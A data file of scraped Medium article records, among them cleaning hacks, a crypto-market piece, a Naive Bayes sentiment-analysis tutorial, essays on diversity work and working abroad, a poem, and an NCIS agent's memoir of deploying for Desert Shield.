We strive to continue to contribute educational resources on privacy concepts in cryptocurrencies. We hope to make them short, sweet and digestible, like this great gem from a Grin developer, who explains Mimblewimble in one tweet:
We tried to keep this post from getting too long, and to provide explanations that aren’t too complex. If you liked them, please like and share this. If you think our explanations are lacking, please let me know below!
And before we leave you to your own personal life, let’s meditate together my favorite Allen Ginsberg’s quote: “Follow your inner moonlight; don’t hide the madness.”
Have a question? Want to share with Team BEAM some ideas and solutions, what are you waiting for?
Join our developer community: Gitter
Telegram: t.me/BeamPrivacy
Reddit: reddit.com/r/beamprivacy/
Twitter: twitter.com/beamprivacy
Discord: discord.gg/BHZvAhg | https://medium.com/beam-mw/comparing-privacy-coins-is-hard-2d617f931682 | ['Beam Privacy'] | 2019-01-29 12:50:01.408000+00:00 | ['Privacy', 'Bitcoin', 'Ethereum', 'Blockchain', 'Finance'] |
Unboxing Amal’s Toolkit | Hi, I’m very excited to write this blog because today I’m unboxing Amal’s toolkit and you know what’s the most amazing fact about it? It is FREE..
YES! Unlike any other unboxing in the world, This unboxing will provide you the toolkit free of cost and for LIFETIME.
There are 5 gifts in this toolkit which are listed below:
1 Growth mindset developer
2 Comfort zone kicker
3 New Habits creator
4 Help asker
5 Faker
These are the five tips that you can start practicing right away! Try to develop a growth mindset by getting out of your comfort zone and creating new habits. Furthermore, Ask for help where you need it and last but not the least, Fake it till you make it!
Although all these five tips are amazing but my personal favorite is Asking for help , we all usually try to keep up the cloak of positivity, we all try to deal with stuff even when its out of control so sometimes we really need to let go of our ego and ask for help!
The first step for growth mindset lies in embracing. Embracing you flaws and using them as stepping stones for further success in life.
I have actually started implementing this tip during my Amal Fellowship and I realize how much I have suffered by not asking! the paths get easier when you are accompanied by those who help. | https://medium.com/@maida-saoud164/unboxing-amals-toolkit-a20fa3fa5ae9 | ['Maida Saoud'] | 2020-12-24 09:35:33.484000+00:00 | ['Amaltotkay', 'Amalfellowship', 'Selfhelp', 'Help', 'Positivity'] |
7 Must-Know Cleaning Hacks For Christmas That Will Save Money, Time, and Effort | Do you want to know some smart cleaning hacks? Are you
one of those who love cleaning your home? Well, gets straight to the real talk that these household chores never give you time off, do they? We know the answer, right?
Many are lucky enough to have professional help, but the cleaning also knows no boundaries as it’s endless!
The cleaning process is always in the waiting mode, staring at us whenever we are enjoying our favorite web series and laid back on our comfy couch!
We do know that cleaning comes with costing you money, time, and effort, of course! But now is the time to bid farewell to those expensive cleaning products when you have these money-saving cleaning hacks in the bucket.
Do you want to eradicate those unpleasant smells? Or, want to remove the stains from your carpet? Or, you wish to have unblemished corners in your dream home, these tips will prove to be your savior!
It is always a headache to get rid of stains. But not to worry, as you can now get those stubborn grease stains out of your beautiful carpets or any other surface. You need to mix one part salt and four parts of rubbing alcohol.
Further, rub the mixture over the stain to lift that unacceptable grease. Next, allow the surface to dry and vacuum up or wipe the leftover salt, and the job is done!
Does your favorite couch have a lingering smell? Or, is it having any unshakable stain on the fabric? Well, baking s oda is your Hero! Baking soda is one magical natural cleaner that helps deal with such difficulties. For that, first, you need to brush off your couch’s surface.
Next, dust the baking soda on the area you wish to clean. Remember to let the sprinkle remain in there for approx. 20 minutes. Finally, vacuum it up by using your brush attachment!
To keep your sneakers smelling fresh, all you need to do is that sprinkle the baking soda in them. So, whenever you are ready to wear those shoes again, tap that sprinkle outside.
Is your dishwasher clean? If not, how it will smoothly do its job of cleaning your dishes? When your appliances are in top-notch shape, it makes them last longer. So, if you are thinking to get rid of that awful build-up of soap scum, grease, and food debris, we are here with a solution!
For that, get a dishwasher container, baking soda, and some white vinegar.
Cleaning Hacks — Dishwasher Cleaning Process
Step 1: First, remove the bottom rack of your dishwasher and get easy access to that dishwasher drain. Then, remove any food remains or gunk that may be present inside.
Step 2: Now, fill up your dishwasher-safe storage with one
cup of vinegar. After this, please put it on the upper rack and run your dishwasher via a hot water cycle. Besides the container filled up with vinegar, keep your dishwasher empty!
Step 3: Next, spray the bottom of the dishwasher with about one cup of baking soda. Now, run the dishwasher using hot water for a short span.
What do you get in the end? A clean, shiny, brighter dishwasher is all you get that smells hell better than it was before!
Tip: Remember to repeat the above process once a month for keeping your appliances in the best condition for a long time.
Without any doubt, especially during any festivity season, birthday parties, or on the Thanksgiving occasion, your microwave can get pretty chaotic. However, there’s an effortless way to make it shine brighter once again!
Prepare a mix of vinegar and water (same quantity of vinegar and water) in a microwave-safe container or bowl.
Also, don’t forget to place a small wooden object like a toothpick for preventing boiling. Now, allow the solution to boil on high flame for 5 to 10 minutes. Allow the solution to cool down for a couple of minutes.
Further, when you open your microwave, you need to wash the inside of your microwave with a paper towel or sponge.
And phew! The clean microwave is all yours without buying those overpriced and often non-effective and disappointing cleaners!
Tip: Also, you can add some lemon to the mixture for a clean and fresh scent!
Allow the furniture polish to do its overtime on your amazing stainless steel household appliances. First, remove the grime and then do the spraying process on the polish and dry it out.
Your must-clean cutting board has become a home to “ Bacteria”? No worries! You can sanitize your cutting boards with the all-rounder bleach solution. Soak your cutting boards in this solution and feel the happiness!
You need to use two tablespoons of bleach per gallon for wooden boards and two teaspoons of bleach per a gallon of water for plastic boards. There’s no need of soaking them for a long time — a couple of minutes are enough and finally, Rinse!
Whether you are a last-minute tidy-upper or a fan of constant cleaning, applying these easy and quick tricks will help you in making your cleaning process a lot easier!
It’s time to dump your frustration, save time along with saving money wasted on those extravagant cleaning products.
So love your spotless home with these super impressive cleaning hacks! | https://medium.com/@pennycallingpenny/7-must-know-cleaning-hacks-for-christmas-that-will-save-money-time-and-effort-bbcbd07beedd | [] | 2021-12-13 06:49:21.461000+00:00 | ['Cleaning', 'Save Money', 'Personal Finance', 'Easy Cleaning Hacks', 'Make Money Online'] |
Bitcoin Futures Traders Longing Bitcoin and Altcoins Once Again | Bitcoin Futures Traders Longing Bitcoin and Altcoins Once Again
By Adam Faz on The Capital
Bitcoin futures traders are betting that the price action of the world’s most valuable cryptocurrency is about to turn bullish in the short to medium term. At the time of this writing, the price is hovering around $9,500 USD after a price correction that saw Bitcoin’s value dropped from $11,000 all the way down to $8,900 over the last couple of weeks.
After dropping down near $3,100 USD in the middle of March thanks to broader investing market concerns surrounding the coronavirus pandemic and the state of the global economy, investors sticking to their guns have now tripled their money since.
Why Top Traders Are Aggressively Going Long Right Now
A recent report suggests that Binance.com’s futures operation, called Binance Futures, is now the top futures trading platform by volume in the industry. Why is that significant? The answer lies in the fact that more than 50% of traders on the platform were betting on the price of Bitcoin to increase according to a tweet posted by the website on May 25. In addition to being long on Bitcoin, nine other altcoins are holding long positions on futures contracts at a greater than 50% clip including:
Ethereum
Bitcoin Cash
Ripple
EOS
Litecoin
Tron
Ethereum Classic
Stellar
Chainlink
Numbers certainly don’t lie and right now they definitely suggest an overall bullish sentiment within the broader crypto market. What’s just as interesting is the reasoning behind it.
Binance Research published a report at the end of this year’s first fiscal quarter stating that there is a correlation between Bitcoin and the American equities market. The price of Bitcoin was down 10% in that first quarter. The good news however is that it still outperformed the S&P 500 over that same time period by 9%. Saving 9% is a significant margin during times of crisis.
That’s especially true considering the S&P 500 is a measure of the top 500 wealthiest companies in America and the value of that index is worth between $25 trillion and $30 trillion at any given time. It’s widely seen as the benchmark for whether or not a given security or investment is outperforming the market. That said it may not be the best way to hedge against the broader market.
Is Bitcoin a Good Hedge or Not?
While the above statistics provide some insight as to how well Bitcoin fares against other securities, the fact is gold and treasuries rose by 8% and 23% respectively over the same time. This means that at least for the time being, Bitcoin may not be a good hedge against securities. There is however a silver lining. The long term outlook should be much better. The Binance Research report states that the current correlation between Bitcoin and equities won’t last in the long run.
Related: Is Gold Really Safe In Times of Crises?
Dan Morehead, CEO of Pantera Capital, agrees with that assessment. He’s told his investors that throughout the course of Bitcoin’s history, every time the digital currency displayed a positive correlation with the stock market, the trend only lasted for a few months at a time.
How Other Digital Assets Compare
During the first fiscal quarter, only two major altcoin projects displayed a significantly negative correlation against equities markets in comparison to Bitcoin. Those include Chainlink and Tezos. That’s only because both projects announced significant advances in the development of their networks which caused investors to pump up the prices amid the good news. Whether or not both projects will continue to buck the trend, in the long run, remains to be seen as always.
The Crypto Roller Coaster Ride Continues
CoinMarketCap.com’s CMC 200 Index follows the price average of the world’s top 200 cryptocurrencies. The market capitalizations of those currencies increased in value by around 30% in January, followed by a small decrease in February and a gigantic 46% drop in March. What happens in the second quarter is anybody’s guess, but of current long positions on futures contracts are any indication, 2020’s crypto spring just may turn out to be quite prosperous.
For more blogs on all things crypto, visit Netcoins. | https://medium.com/the-capital/bitcoin-futures-traders-longing-bitcoin-and-altcoins-once-again-69f5e12c8e69 | ['Adam Faz'] | 2020-06-03 03:28:24.281000+00:00 | ['Software Development', 'Futures Trading', 'Cryptocurrency', 'Finance', 'Altcoins'] |
The Caged Bird | Photo by Ojaswi Pratap Singh on Unsplash
The bird chose the cage and not the other way round
It liked the captivity inside rather than the freedom of the world around
It knows not how to escape and does not want to either
The cage is safe and secured but the outside offers neither
Unsure of what is out there and scared of it too
It prefers being a safe prisoner rather than being part of a lost crew. | https://medium.com/illumination/the-caged-bird-ce07813df891 | ['A Rustic Mind', 'Manali Desai'] | 2020-12-23 20:25:31.230000+00:00 | ['Poem', 'Safety', 'Freedom', 'Birds', 'Poetry'] |
Beyond Communication and Towards Engagement of Diversity & Inclusion Efforts | As a kid I vividly remember negotiating chores with my mom, especially cleaning my room. I loathed the task. However, there was one special trick to getting me to clean my room that worked equally for my mom and me. It was very simple, I needed only for my mom to sit on my bed in my room and chat with me while I cleaned. She would listen to me and share tips on how to clean, while ensuring that by time I finished, my room was spotless and met her standards. Possibly, our conversation was a simple distraction. However, I’d like to think that my mom’s presence, guidance, and energy took what was a boring and uninteresting task and morphed it into a task full of life and body because I could talk to my mom while cleaning. I believe my mom engaged me.
Photo by Gradikaa Aggi on Unsplash
Of course, cleaning my room as a child is no diversity or inclusion task; however, to me it points to an important distinction between communication and engagement that has existed for many years for me. Communication explains what needs to get done with an expectation that one can just do it. Engagement explains what needs to get done and assumes that an experience is necessary to try-on, understand, and feel the outcome or result. Communication focuses mostly on the sender of information. Engagement focuses on the experience of the receiver of information.
Collectively, in organizations we are reared to believe that we can explain a task or give a directive, and to whomever it is directed, it will be completed. For simple tasks this is efficient and works. However, for complex and involved tasks a directive or explanation often falls short. Each of us has experienced this; we’ve shared the how-to’s or rationale and received blank stares or false starts to the commencing or completion of a task. We’ve wondered to ourselves: “Why couldn’t they just do the thing I asked?” And, in our bewilderment, rarely do we reflect on how we could have engaged and really embodied what we were asking.
Communicating an expected result works on the precondition that you have either previously done the thing you have been asked to do, or you know how to do it so well that no other assistance is necessary; this is rarely true when we think of the asks in the diversity and inclusion space. In diversity and inclusion work, we are often asking people to do new or do differently. These asks include, for example, defining what is meant by diversity and inclusion, utilizing inclusive decision making, saying gender pronouns, or mitigating implicit bias. These asks are new to a lot of people. Further, diversity and inclusion efforts implicate our lived experiences and can be very personal. The closeness of these efforts to oneself necessitate a deeper exploration than what can be offered through simple communication. The value of engagement for diversity and inclusion is linked to the idea that we all have a relationship and history with diversity and inclusion; we know what and when it feels like we are being represented well, and made to feel a part of something. This is core to our humanity and connected to our personhood.
“Further, diversity and inclusion efforts implicate our lived experiences and can be very personal. The closeness of these efforts to oneself necessitate a deeper exploration than what can be offered through simple communication.”
Often, communicating is static, while engagement is dynamic. Engagement ensures that one has not only accurately interpreted what was communicated, engagement also achieves personal meaning. And the explicit connection to diversity and inclusion is that we all have some personal stake and experience in diversity and inclusion efforts. As a result, personal meaning making is necessary.
In my inaugural role as the Chief Diversity Office at the Harvard Graduate School of Education, I recall early in my time communicating the importance of diversity and inclusion to my senior leader colleagues. Each was in agreement; they also believed in this work. A first step in our shared work was defining diversity and inclusion so my colleagues, the heads of human resources, finance, information technology and other departments could operationalize our shared definition and start to carve out small ways to advance this work in their units.
On the surface, defining seems like a basic task; yet, it is hard to do with loaded terms like diversity and inclusion. I knew enough to know that my colleagues needed to engage and experience defining diversity and inclusion together before they could translate the definition into something meaningful enough to operationalize. At a senior staff meeting, we engaged in a brief exercise that explored our associations with the terms, observations of seeing it in action, and first thoughts on how to bring the terms to life in our respective departments. At the end of the session, my colleagues commented on how useful the exercise was; it was the first time they thought about the definitions of diversity and inclusion that made it personal to their work. To me, this step was necessary to establishing school-wide definitions.
Other examples of diversity initiatives include trainings, book clubs, and employee resource groups. When these efforts are new, we often communicate about them, and expect that staff, students, or faculty know exactly what these efforts are, what they mean for the community, and what the expected outcome is from participating. While each initiative may be self-evident from its descriptive title, communicating about them alone does not spawn participation or full adoption. For these initiatives, inviting people into the experience, communicating the benefits, and fully soaking the community in so that they feel the initiatives are ways to really engage.
Photo by Gia Oris on Unsplash
Steps to Engagement
I think it is helpful to consider engagement in phases or steps; if you google this, you’ll be overwhelmed by the options. However, here is a simple set of steps that are helpful in engaging diversity and inclusion work.
The first step is inviting. In this step you are bringing people into the experience, tasks, or initiative — it’s is distinct from announcing, because inviting focuses on people feeling apart. The second step is socializing. In this step, one is helping others to try on the initiative. One is also shopping the initiative around a bit, breaking down parts and getting reactions to it. A large critique of diversity work in higher education is that many people feel like it is thrusted on them, and they have no say in their participation. The inviting and socializing steps mitigates this common response. The last step is experimenting and doing it. When engaging diversity and inclusion, you create a low stakes environment where people can make mistakes before it matters concretely or with consequences. For instance, you may be enacting a new inclusive decision-making protocol; experimentation would enable senior leaders to facilitate inclusive decision making with peers and give feedback about the protocol before doing it with their respective teams.
Engagement in diversity and inclusion work is excellent for buy-in and learning what an organizational culture can adapt to and hold. The information one learns from engagement is imperative; insights regarding the capacity of team members to exact whatever the diversity and inclusion task, initiative, or program may be asking of them are illuminated. While time may not always favor a process of engagement, and simple communication may be necessary, it is worth considering and pushing for deeper engagement when possible. | https://medium.com/national-center-for-institutional-diversity/beyond-communication-and-towards-engagement-of-diversity-inclusion-efforts-663599846814 | ['National Center For Institutional Diversity'] | 2019-11-07 16:49:06.744000+00:00 | ['Leadership', 'Diversity And Inclusion', 'Diversity', 'Higher Education', 'Engagement'] |
IMDB movie review polarity using Naive Bayes Classifier | IMDB movie review polarity using Naive Bayes Classifier
Develop a naive Bayes algorithm-based machine learning model that predicts sentiment or polarity of an IMDB movie review.
Photo by Hitesh Choudhary on Unsplash
Introduction:
Naive Bayes is an algorithm that uses Baye’s theorem. Baye’s theorem is a formula that calculates a probability by counting the frequency of given values or combinations of values in a data set [6]. If A represents the prior events, and B represents the dependent event then Bayes’ Theorem can be stated as in equation
Bayes Theorem:
here x if for different words in the review text, Ck is for the class label
p(Ck|x): the probability of class label given text review words x
review text(x) can be represented as {x1,x2,x3, …….. ,xn}
p(Ck|x) ∝ p(Ck|x1,x2,x3, …….. ,xn}
About IMDB movie review dataset:
Data source: https://www.kaggle.com/utathya/imdb-review-dataset
The IMDB Movie Review Dataset consists of text reviews with data frame named as ‘data’
The dataset contains text movie reviews with the given polarity of positive and negative.
Let us take some random examples (not from the dataset) and learn how naive Bayes classifier works.
Taking a few examples:
Let’s take a toy example of movie text and review and it’s sentiment polarity (0->negative, 1->positive).
Text Preprocessing:
Here is a checklist to use to clean your data:
Begin by removing the HTML tags Remove any punctuations or a limited set of special characters like, or . or #, etc. Check if the word is made up of English letters and is not alpha-numeric Check to see if the length of the word is greater than 2 (as it was researched that there is no adjective in 2-letters) Convert the word to lowercase Remove Stopwords example:( the, and, a ….)
After following these steps and checking for additional errors, we can start using the clean, labeled data to train models!
Bag of Words Representation:
The next step is to create a numerical feature vector for each document. BoW counts the number of times that tokens appear in every document of the collection. It returns a matrix with the next characteristics:
The number of columns = number of unique tokens in the whole collection of documents (vocabulary).
The number of rows = number of documents in the whole collection of documents.
Every cell contains the frequency of a particular token (column) in a particular document (row).
we compute the posterior probabilities. This is easily done by looking up the tables we built in the learning phase.
P(class=1|text) = P(class=1)* Π(P(wi|class=1))
Some important points:
Laplace/Additive Smoothing
In statistics, additive smoothing, also called Laplace smoothing. Given an observation x = (x1, …, xd) from a multinomial distribution with N trials and parameter vector θ = (θ1, …, θd), a “smoothed” version of the data gives the estimator:
where the pseudo count α > 0 is the smoothing parameter (α = 0 corresponds to no smoothing). Additive smoothing is a type of shrinkage estimator, as the resulting estimate will be between the empirical estimate xi / N and the uniform probability 1/d. Using Laplace’s rule of succession, some authors have argued that α should be 1 (in which case the term add-one smoothing is also used), though in practice a smaller value is typically chosen.
So how do we apply Laplace smoothing in our case?
We might consider setting the smoothing parameter α =0.1 and d=1 (see the equation above), we add 1 to every probability, therefore the probability, such as P(class| text), will never be zero.
2. Log probability for numerical stability
The use of log probabilities improves numerical stability when the probabilities are very small.
P(class=1 or 0|text) = P(class=1 or 0)* Π(P(wi|class=1 or 0)) log(P(class=1 or 0|text)) = log(P(class=1 or 0))+∑(log(P(wi|class=1 or 0)))
text query1: The plot of the movie was pointless with the worst music ever.
text preprocessed : * plot * movie * pointless * worst music *
P(class=1|text) = P(class=1)*P(plot|1)*P(movie|1)*P(pointless|1)*P(worst|1)*P(music|1) =(4/7)*(0.1/4.2)*(3.1/4.2)*(0.1/4.2)*(0.1/4.2)*(1.1/4.2) =1.49097*10^(-6)
P(class=0|text) = P(class=0)*P(plot|0)*P(movie|0)*P(pointless|0)*P(worst|0)*P(music|0)
=(3/7)*(1.1/3.2)*(3.1/3.2)*(1.1/3.2)*(1.1/3.2)*(2.1/3.2) =1.10670*10^(-2)
#since probablity of P(class=0|text) is greater than probablity of P(class=1|text) for text query1 so we classify the query text as negative review.
text query2 : In love with the action scenes and music was amazing too.
text preprocessed : * love * * action scenes * music * amazing *
P(class=1|text) = P(class=1)*P(love|1)*P(action|1)*P(scenes|1)*P(music|1)*P(amazing|1)=(4/7)*(2.1/4.2)*(2.1/4.2)*(3.1/4.2)*(1.1/4.2)*(2.1/4.2) =1.380790411*10^(-2)
P(class=0|text) = P(class=0)*P(love|0)*P(action|0)*P(scenes|0)*P(music|0)*P(amazing|0)
=(3/7)*(0.1/3.2)*(0.1/3.2)*(0.1/3.2)*(2.1/3.2)*(0.1/3.2) =2.6822*10^(-7)
#since probablity of P(class=1|text) is greater than probablity of P(class=0|text) for text query2 so we classify the query text as positive review.
Implementing Multinomial Naive Bayes Classifier:
Apply Multinomial Naive Bayes classifier for different values of alpha and get a plot of error vs alpha to get optimal value of alpha with minimum error.
plot for error vs hyperparameter alpha
we get optimal value of alpha at a value of 6, so
Now we will perform the following steps:
Apply Multinomial Naive Bayes for alpha=6
2. Predict the output using Multinomial Naive Bayes classifier
3. Find test accuracy and train accuracy
4. Plot a confusion matrix and heatmap
A confusion matrix is a table that allows us to visualize the performance of a classification algorithm
Finding the most frequent words used in both positive and negative reviews.
We have taken a sample of positive and negative words and found out the frequency of most frequent words used.
Here we observe that that words like “bad” are frequently used which depicts negative reviews.
Here we observe that that words like “great” are frequently used which depicts positive reviews.
Improvements
Some words take place in several documents from both classes, so they do not give relevant information. To overcome this problem there is a useful technique called term frequency-inverse document frequency (tf-IDF). It contemplates not just frequency but also how unique the word is.
Furthermore, in the BoW model that we created, each token represents a single word. That’s called the unigram model. We can also try adding bigrams, where tokens represent pairs of consecutive words.
Scikit-learn implements TF-IDF with the TfidfVectorizer class.
By this, we can improve our test accuracy to from 82.464% to 85.508% and train accuracy from 87% to 93%
Conclusion:
Naive Bayes is a simple but useful technique for text classification tasks. We can create solid baselines with little effort and depending on business needs explore more complex solutions.
Naive Bayes is a very good algorithm for text classification and considered as baseline. Basically for text classification, Naive Bayes is a benchmark where the accuracy of other algorithms is compared with Naive Bayes.
You can get full code here. | https://satyam-kumar.medium.com/imdb-movie-review-polarity-using-naive-bayes-classifier-9f92c13efa2d | ['Satyam Kumar'] | 2020-06-01 14:48:23.215000+00:00 | ['Machine Learning', 'Jupyter Notebook', 'NLP', 'Movie Review', 'Sentiment Analysis'] |
用 JavaScript 玩轉設計模式 | 各司其職的 Chain of Responsibility Pattern（責任鏈模式） | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/starbugs/%E7%94%A8-javascript-%E7%8E%A9%E8%BD%89%E8%A8%AD%E8%A8%88%E6%A8%A1%E5%BC%8F-%E5%90%84%E5%8F%B8%E5%85%B6%E8%81%B7%E7%9A%84-chain-of-responsibility-pattern-%E8%B2%AC%E4%BB%BB%E9%8F%88%E6%A8%A1%E5%BC%8F-864f394cce13 | [] | 2020-12-26 11:54:10.034000+00:00 | ['Chain Of Responsibility', 'JavaScript', 'Starbugs', 'Front End Development', 'Design Patterns'] |
One Year Designing Abroad and I’m Still Learning | Klarna. Smoooth payments.
Klarna is one of the biggest and fast-growing fintechs in the world, known by their multiple different purchase payments methods, credit products, and recently by its new Credit Card. What I can say is that I had lucky to start my experience abroad in such a cool and big company as Klarna and had lucky for have had their trust in my work. I have a multiple experiences background starting as graphic and web designer, passing through Creative Director in an advertising agency, had my own sunglasses company, and before moving to Sweden I was working as Lead Product Designer in a health tech startup in São Paulo, Brazil. Sounds like I had a bunch of experience but never have worked in any fintech before. Great such market to work with the design, so how not feel lucky?
Changing the country, changing the game
But I can say that lucky ends there. When I started to work for Klarna it was very hard to figure out that everything I know about digital products, users, financing, etc, had half of the value I was used to in Brazil. The design core does not change, but how you use it, approach and the outcomes are very different. Even everybody saying that we need to separate our preferences and experiences when designing, we know that it's almost impossible to avoid adding our work baggage to our products — What in my opinion it is what helps us to create unique solutions.
But the problem is that everything was true for me was also basically out of my new reality. My users were different, my market regulations as well. The pace, operating model, frameworks, how people in the teams relate to each other, different type of priorities, even how the stakeholders face their jobs, everything had an impact on my work and this period of adaptation is, in my opinion, one of the toughest thing we face when working in a new country for the first time. As I said, a new game, these things have forced me to remold myself and broken my beliefs, and there are no such scary things as the new and changing.
Why I do think I'm still learning?
It's amazing how fast I could grow and how I improved myself professionally and personally in such a short of time. I believe it's easier for a designer than other competencies to be more adaptative, we are more curious, investigative, the uncomfortable push us to find a way and I'm still trying to use that in my favor.
Of course, I moved from a completely different culture, so we are comparing Brazil and Sweden, it’s easy to imagine the shock, but I still believe — and I’m seeing it happening with other colleagues — that even between similar countries the cultural adaptation is not easy.
From my side, we Brazilians are more passionate, like to use creativity over the logic more than usual, risk more. In Sweden, people prefer safety, the well-balanced mindset, focus on results and deliveries using a more analytical approach. For me, it was the perfect marriage and it's very interesting how I can contribute with more aggressive and practical characteristics, but mainly how many times I see myself not so comfortable and stepping back trying to conduct the situation using what I'm learning. Exhausting, but very enjoyable.
Design-wise what I also noticed is how much more often I see specialists instead of designers with multi-knowledge and skills. I'm not sure if it's specific for Sweden, but it's rare to find designers that can transit in different areas of the design as graphic, digital, the different types of products, etc. There are great UI designers that lack knowledge in using a more user experience approach and vice-versa. Specialists in apps and non-experienced in web-products. I came from a school where the Design is a multi-disciplinary competence, we as designers are a combination of problem-solving, research, investigation, efficiency, aesthetic, so I was expecting more full-experienced designers.
But also, working here now I can see how having specialists help the design development into day-to-day and how it contributes to finding a better solution as a team. It happens because the work culture, the pace, and the company structure are completely different than I was used to, and it's very interesting how I'm having to adapt myself to this new characteristics. I'm sharing more often and earlier what I'm doing in order to collect better understanding and opinions, I'm mastering faster areas I was not so good, and I know that there's no way to master everything without experiencing and learning from the others every day. It's being very cool figuring out all of this.
And what I’m still doing wrong?
Basically everything. Not everything, but something I try to do most of the time is keeping humble and keeping feet on the ground. As I said, in the beginning almost everything was new and there are many other things I'm still getting in. The room for learning and improvement are huge and I believe it’s infinite. Having the humility to understand this is the key, it avoids unnecessary frustration and at the end of the day, it will only make you a better designer. | https://uxplanet.org/one-year-designing-abroad-and-im-still-learning-e1f13b99afc0 | ['Felipe Sbravate'] | 2019-04-08 12:02:15.770000+00:00 | ['Fintech', 'Product Design', 'Design', 'UX Design', 'Designer'] |
The Real Avengers Of This Pandemic | The Real Avengers Of This Pandemic
The significance of the Avengers during this time of crisis.
Photo by: Erick Romansyah grabbed on Pixabay.com
2020 the year of battles and a war to be won. A year that we would tell our grandchildren. The time that we would always look back to. I know that this was and still is a difficult time for everybody, and even if the vaccines are to be a success and we can control and eradicate this virus — our life will never be the same again. As for me, how this virus affected my life? Well, first I found out around July that my English high school teacher died because of the virus; I was shocked, he was young and full of life. It just hit me like a truck, making me realize how serious and real this is.
“This is the fight of our lives. We are going to win. Whatever it takes.”- Steve Rogers
I know that the situation is already bad as it is, but it slapped me even more in the face when my aunt got it. I was scared because I haven't seen her for months, and I was frustrated because we were supposed to meet before this entire thing blew-up, but due to prior commitments, I wasn’t able to. It was only during that moment that I had a realization about how “golden” time is, where everything is just trivial, and spending time with your loved one should be your priority; material things can be bought or replaced but memories and moments are priceless.
“I'm still worthy”-Thor
If you would all remember the scene from the movie where everyone was sitting down, and the place looked deserted that's how I felt about this pandemic and the quarantine implementations. I know we didn’t lose half of the human population but for somewhat reason, something was stolen from us... its as if we are living in an endless void. Everything just felt cold, lonely, and full of uncertainties, and then there are these questions running in my mind like — what’s next? Who's next? What will happen to us? When will this end? People were not just physically affected but also financially, emotionally, and mentally drained.
“I used to have nothing. And then I got this — This job, this family — And I was better because of it. Even though they’re gone, I’m still trying to be better.”- Natasha
The scene where Natasha was checking on everybody, asking for updates, and still in denial of everything that has happened. I think that’s what a lot of people felt, especially the people who lost their loved ones because of this virus; they weren’t able to see their loved ones' or friends before they passed away, some weren’t able to bury and mourn properly. | https://medium.com/cinemania/the-real-avengers-in-this-pandemic-c419f4093a73 | [] | 2020-12-26 15:46:29.930000+00:00 | ['Avengers', 'December Contest', 'Pandemic', 'Coronavirus', 'Movies'] |
Candidate profile: Barstow Mayor Julie Hackbarth-McIntyre seeks 3rd term to tackle unfinished business | Hello friends I am Maria from CA and 25 years old. I believe that I don’t think of all the misery but of the beauty that still remains. | https://medium.com/@mariapfrancis/candidate-profile-barstow-mayor-julie-hackbarth-mcintyre-seeks-3rd-term-to-tackle-unfinished-558c3c432e3f | ['Maria P. Francis'] | 2020-12-26 11:35:17.299000+00:00 | ['California', 'Local News', 'Chirstmas'] |
The Shield | USS Blue Ridge
By mid summer 1990, I was pushing towards five years as an Agent with the Naval Criminal Investigative Service. Recent assignment to U.S. Marine Corp, New River Air Station, as the Senior Agent, had initially resolved the theatrical atmosphere endured at N.C.I.S. ‘s main neighboring office, Marine Corp Base, Camp Lejeune, N.C.
Supervising six Agents and carrying a personal caseload of five to seven investigations was pretty much the norm for the New River office. That norm coupled with command liaison responsibilities made for a busy work environment but lacked a task that raised the ante to a level requiring anything close to “high speed”.
Mid summer moved to late summer and suddenly August brought the world drama of Saddam Hussein invading neighboring Kuwait. The operational tempo of all Marine Commands at New River shifted to high gear and N.C.I.S’s support mission to the U.S. Navy and Marine Corp also pushed into overdrive.
The volume of War drums were additionally increasing with Marine Commands aboard neighboring Camp Lejeune, as well as the town of Jacksonville, N.C. and the surrounding area. CNN and FOX news ramped their coverage to a frenzy and their 24 seven style left little time for anything other than thoughts of War.
Word trickled down from N.C.I.S. Headquarters that the need for Agent personnel, capable of deploying to the middle east, was anticipated. In addition, Agents who had previous military experience as well as out country assignments as an Agent were preferred. Other considerations were experience and the ability to perform both within a criminal investigative role as well as shouldering counterintelligence responsibilities.
Prior service in Vietnam with the U.S. Army, coupled with N.C.I.S. assignments to the Philippines and as an Agent afloat aboard the U.S.S. Independence pretty much locked me in to an assignment in support of our pending War. A week full of drawing specialized equipment (uniforms, gas masks, ballistic vests, helmets) along with indoctrination briefings and a basic volley of inoculations set my deployment into motion.
Travel to Philadelphia, a short visit with the N.C.I.S. Office in Philly and indoctrination to counter measure protocol for exposure to various biological threats, nerve agents, other chemical threats, placed me at the Philadelphia International Airport waiting on a flight to S.W. Asia. Once aboard my flight destined for Bahrain, my mind zinged with remembrances of my flight to another War and another time. Twenty one years had passed since my arrival in Vietnam. Service as an Army light weapons infantry soldier, coupled with ten years of investigative and counterintelligence experience, had more than prepared me for deployment to this new conflict dubbed “Desert Shield”.
The flight was only two thirds full. I found a seat about midway on the starboard side and settled in. I was sitting in an aisle seat within a row of three. Seated in the window seat was a Navy Commander with flight wings. Small talk prior to lift off disclosed that the Commander and I had both grown up in Pensacola, Florida. Conversation continued with the Commander saying he had previously served as an enlisted man in the Marine Corp before attending college in Pensacola. Shortly after disclosing I had served with the U.S. Army prior to college we both realized that we had served a tour of duty in Vietnam prior to returning to Pensacola for school.
Once I told him that after junior college in Pensacola I transferred to Florida State University in Tallahassee, Fla. He related that he had graduated from the University of West Florida in Pensacola. More detailed discussion disclosed that after graduation he had joined the Navy and went through flight training in Pensacola. I subsequently laid out details about graduating from Florida State and immediately going to work for the Oklahoma Bureau of Investigation. Adding that working a seven year diet of homicide investigations, resulted in a change of career paths, and that was how I ended up working for N.I.S. as an Agent.
As a side point I said “it was quite a hoot” after being an Army Paratrooper to be with N.I.S. for I had served as an Agent afloat aboard the U.S.S. Independence. The Commander immediately responded by saying that the Independence was the ship he was trying to catch up with. Although neither one of us said it, our minds raced trying to put our encountering one another in perspective.
Mike Gershon
I queried the Commander as to whether or not he had ever encountered Mike Gershon in Pensacola. Telling the Commander that Mike and I had been the best of friends and roommates. I followed by solemnly saying that Mike had been killed flying with the Blue Angels in August of 1985. The commander hesitated for several seconds and then said “I am the one that talked Mike into Navy flight school”.
Both of us sat quietly after the discussion regarding Mike. Strange circumstances for us both. Although twenty years had passed since Vietnam my mind was racing fast forward as I knew his was. Vietnam, college, picking a career, and now moving quickly to serve in a second war was huge to comprehend. I believe that both of us understood we were supposed to meet. Also understood was that both of us were once again going to War.
